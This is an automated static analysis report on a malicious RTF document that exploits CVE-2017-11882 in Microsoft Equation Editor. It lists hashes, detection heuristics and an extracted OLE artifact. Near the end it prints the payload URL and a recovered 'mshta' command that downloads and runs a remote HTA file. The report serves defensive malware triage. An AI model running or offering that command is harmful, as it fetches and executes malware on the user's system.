Malicious RTF — malware analysis report

Static analysis result for SHA-256 14ce9d17a63f2e4a…

MALICIOUS

RTF

7.9 KB Authoring application: Riched20 6.3.9600 First seen: 2017-12-09
MD5: d7a8583512dea475ff52b8ca3a2efb04 SHA-1: a98a34116e46a145f940306fe11515429298746d SHA-256: 14ce9d17a63f2e4abd6f7c51e3a6c76e6ece24455dcdcf905dfd4df09b5fb74d
382 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution

The RTF file contains an embedded OLE object that exploits CVE-2017-11882 in Microsoft Equation Editor. This exploit is designed to download and execute a malicious HTA file from the URL http://gamesarena.gdn/hta/QCQs.hta. The embedded artifact 'objdata_00_off0000010b.bin' likely contains the shellcode for this exploit.

Heuristics 9

  • Equation Editor CLSID critical CVE likely RTF_EQUATION_EDITOR
    Equation Editor OLE CLSID found inside an OLE object — exploited by CVE-2017-11882 / CVE-2018-0802 / CVE-2018-0798
  • CVE-2017-11882 — Equation Editor FONT record overflow critical CVE likely CVE_2017_11882
    Equation Editor MTEF contains an overlong FONT typeface field, the vulnerable copy primitive for CVE-2017-11882. This is stronger evidence than the Equation Editor CLSID alone because it identifies the malformed record that drives code execution in EQNEDT32.EXE.
  • ClamAV: Rtf.Exploit.CVE_2017_11882-6584355-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Rtf.Exploit.CVE_2017_11882-6584355-1
  • Equation Editor object class critical RTF_OBJCLASS_EQUATION
    Object class 'equation.3' references Equation Editor
  • Suspicious extracted artifact critical EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • \objupdate forces OLE activation high RTF_OBJUPDATE
    RTF contains \objupdate — forces automatic OLE object instantiation when the document is opened, bypassing user interaction. Almost exclusively seen in Equation Editor exploit documents.
  • OLE object data medium RTF_OBJDATA
    RTF contains 1 \objdata section(s) — embedded OLE objects
  • Embedded OLE object medium RTF_OBJEMB
    RTF contains \objemb — embedded OLE object
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://gamesarena.gdn/hta/QCQs.hta In RTF body

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
objdata_00_off0000010b.bin rtf-objdata-decoded RTF \objdata at offset 0x10B 3546 bytes
SHA-256: e7bdf16f6f971c3c55e4e3cf3f57a0b51143ca6cdae3d30785ae6eb22f25cf0c
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis recovered URL(s): http://gamesarena.gdn/hta/QCQs.hta Static shellcode analysis recovered command string(s): mshta http://gamesarena.gdn/hta/QCQs.hta &AA C

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